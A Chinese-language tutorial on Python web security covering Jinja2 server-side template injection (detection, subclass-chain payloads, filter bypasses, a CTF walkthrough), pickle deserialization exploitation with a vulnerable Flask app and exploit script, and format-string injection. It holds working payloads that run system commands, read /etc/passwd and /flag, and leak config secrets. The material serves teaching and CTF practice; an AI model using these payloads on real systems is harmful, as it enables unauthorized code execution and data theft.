Python安全

SSTI注入

SSTI(Server Side Template Injection,服务器端模板注入):服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分。在进行目标编译渲染的过程中,执行了所插入的恶意内容。从而导致信息泄露、代码执行、GetShell 等问题,其影响范围取决于模版引擎复杂性。

模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入,凡是使用模板的地方都可能会出现 SSTI 的问题。

不同模版引擎对应不同的解析符号:

如何判断是否存在SSTI注入?

  • 提交的数据如果在页面中有显示,即可进行SSTI测试。
  • 根据该模版引擎的解析符号,尝试注入简单的模板表达式,比如 {{ 7*7 }},观察页面是否直接返回表达式结果。
  • 正常情况下,用户输入应当被视为普通文本,不应执行其中的任何代码。如果输入 {{ 7*7 }} 被解析为 49,说明服务器将输入当成了代码,而不是普通文本,就说明该页面存在 SSTI 注入。

自动化工具:https://github.com/vladko312/SSTImap

Python对象的魔术方法

__class__:类的一个内置属性,表示实例对象的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类,以元组形式,类型的实例通常没有属性 。

__mro__ :解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

__subclasses__():返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

__init__:初始化类,返回的类型是function。

__globals__:使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

__dic__:类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里。

__getattribute__():实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__getitem__():调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')

__builtins__ :内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。

__import__ :动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]

__str__():返回描写这个对象的字符串,可以理解成就是打印出来。

注入流程

下面的语句均拼接到模板渲染的接收参数处。

  1. 查看当前环境中哪些子类可用。
{{''.__class__.__base__.__subclasses__()}}

  1. 查找利用类索引。

开启vscode的正则表达式模式,把逗号替换成\n,方便查看。找到利用类的索引,如

<class 'os._wrap_close'>

索引从 0 开始排序,根据环境不同,索引也不同,所以需要实际情况分析。

该类的索引是144:

  1. 查看该类所处空间下可使用的所有变量。
{{''.__class__.__base__.__subclasses__()[144].__init__.__globals__}}

  1. 构造利用类方法。
{{''.__class__.__base__.__subclasses__()[144].__init__.__globals__.popen('calc')}}

显示没有这个属性:

失败原因是Python 3.8 及以上,dict 明确不支持通过点号访问键,强制使用 ['key'] 的方式。

于是尝试改为以下格式:

{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc')}}

成功打开计算器:

若是读取文件,要用 popen 命令,不能用system。因为 os.system 只是执行,无回显。而 popen 自带读取函数 read,可以得到执行命令的结果进行回显。

{{''.__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('cat /flag').read()}}

基础payload

//获得基类:
''.__class__.__mro__[1] # python3
''.__class__.__mro__[2] # python2
{}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[1]
request.__class__.__mro__[1]

//文件操作
//python3 已经移除了file。所以利用 file 子类文件读取只能在 python2 中用。
//找到file类 :
[].__class__.__bases__[0].__subclasses__()[40]
//读文件 :
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
//写文件 :
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

//命令执行
[].__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

[].__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

绕过方式

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

第70天:WEB攻防-Python安全&SSTI模版注入&Jinja2引擎&利用绕过项目&黑盒检测 – The-Starry-Sky

实例分析-NewStar-CTF-2024-Week2-Web-复读机

  1. 确定注入点是否存在 SSTI。

输入 {{ 7*7 }} 被解析为 49,说明服务器将输入当成了代码,而不是普通文本,就说明该页面存在 SSTI 注入。

  1. 探索过滤规则。

尝试注入 {{ "a".__class__}} 来获取当前对象的类。页面输出异常信息(“bot 显示不喜欢上课”),说明 __class__ 被过滤,. 可能也会被视为敏感字符,因为它能直接访问对象的属性。

遇到关键字被过滤的情况,可以利用字符串拼接等技巧绕过过滤,例如 {{"a"['__cl'+'ass__']}},绕过 __class__ 关键字限制。其中用[] 来绕过.过滤

3. 利用 SSTI 获取敏感对象和方法。

SSTI 的目的是执行服务端代码,所以我们需要找到一个能操作系统命令的类。

对于大多数语言,object 是所有类的基类,我们可以通过访问 object 来找到各种可能的类。

可以通过表达式 {{"a".['__cl'+'ass__']['__mro__'][1]}}获取 object 类;

然后通过 {{"a".['__cl'+'ass__']['__mro__'][1]['__subc'+'lasses__']()}} 获得所有子类的列表。

  1. 查找可利用的类。

在获得 subclasses() 列表后,可以遍历其中的类,找到可能用于执行命令的类。在这个例子中,可以选择 os._wrap_close(通常位于索引 132,不同的 Python 版本和环境中,索引值可能有所不同)类。

os._wrap_close 类中包含了可以帮助调用系统命令的方法,比如 __init__ 中可以访问 __globals__ 属性,进一步获取 Python 内置的 eval 函数。

  1. 利用 eval 执行系统命令

构造命令执行的表达式:

{{"a".['__cl'+'ass__']['__mro__'][1]['__subc'+'lasses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

Python 反序列化漏洞

python 常用 (反) 序列化函数

pickle.dump (obj, file) : 将对象序列化后保存到文件
pickle.load (file) : 将文件序列化内容反序列化为对象
pickle.dumps (obj) : 将对象序列化成字符串格式的字节流
pickle.loads (bytes_obj) : 将字符串字节流反序列化为对象
PyYAML yaml.load()
JSON json.loads(s)
marshal

魔术方法

reduce ():反序列化时调用。
reduce_ex () :反序列化时调用,同时都有的时候,执行 reduce_ex ,不执行 reduce
setstate () :反序列化时调用(类似于 phpisset )。
getstate () :序列化时调用。

漏洞利用

 import pickle
 import base64
 from flask import Flask, request
 app = Flask(__name__)
 ​
 @app.route("/")
 def index():
     try:
         user = base64.b64decode(request.cookies.get('user'))
         user = pickle.loads(user) #反序列化
         return "Hello %s" % user
     except:
         username = "Guest"
         return "Hello %s" % username
 ​
 ​
 if __name__ == '__main__':
     app.run(
         host='0.0.0.0',
         port=5000,
         debug=True
    )
 import requests
 import pickle
 import os
 import base64
 ​
 class exp(object):
     def __reduce__(self):
         return (eval, ("__import__('os').system('calc')",))
 ​
 ​
 e = exp()
 s = pickle.dumps(e)
 user=base64.b64encode(s).decode()
 print(user)
 response = requests.get("http://127.0.0.1:5000/", cookies=dict(user=base64.b64encode(s).decode()))

格式化字符串漏洞

Python Web之flask session&格式化字符串漏洞 - 先知社区

在 python 中,提供了 4 种格式化字符串方式。

  1. %操作符

沿袭C语言中printf语句的风格:

>>> name = 'Bob'
>>> 'Hello, %s' % name
"Hello, Bob"
  1. string.Template

使用标准库中的模板字符串类进行字符串格式化:

>>> name = 'Bob'
>>> from string import Template
>>> t = Template('Hey, $name!')
>>> t.substitute(name=name)
'Hey, Bob!'
  1. 调用format方法

python3后引入的新版格式化字符串写法:

>>> name , errno = 'Bob' , 50159747054
>>> 'Hello, {}'.format(name)
'Hello, Bob'
>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)
'Hey Bob, there is a 0xbadc0ffee error!'

但是这种写法存在安全隐患:

>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
... def __init__(self, name):
... self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"

如果用来格式化的字符串可以被控制,攻击者就可以通过注入特殊变量,带出敏感数据。

  1. f-Strings

这是python3.6之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。

>>> a , b = 5 , 10
>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
'Five plus ten is 15 and not 30.'

>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'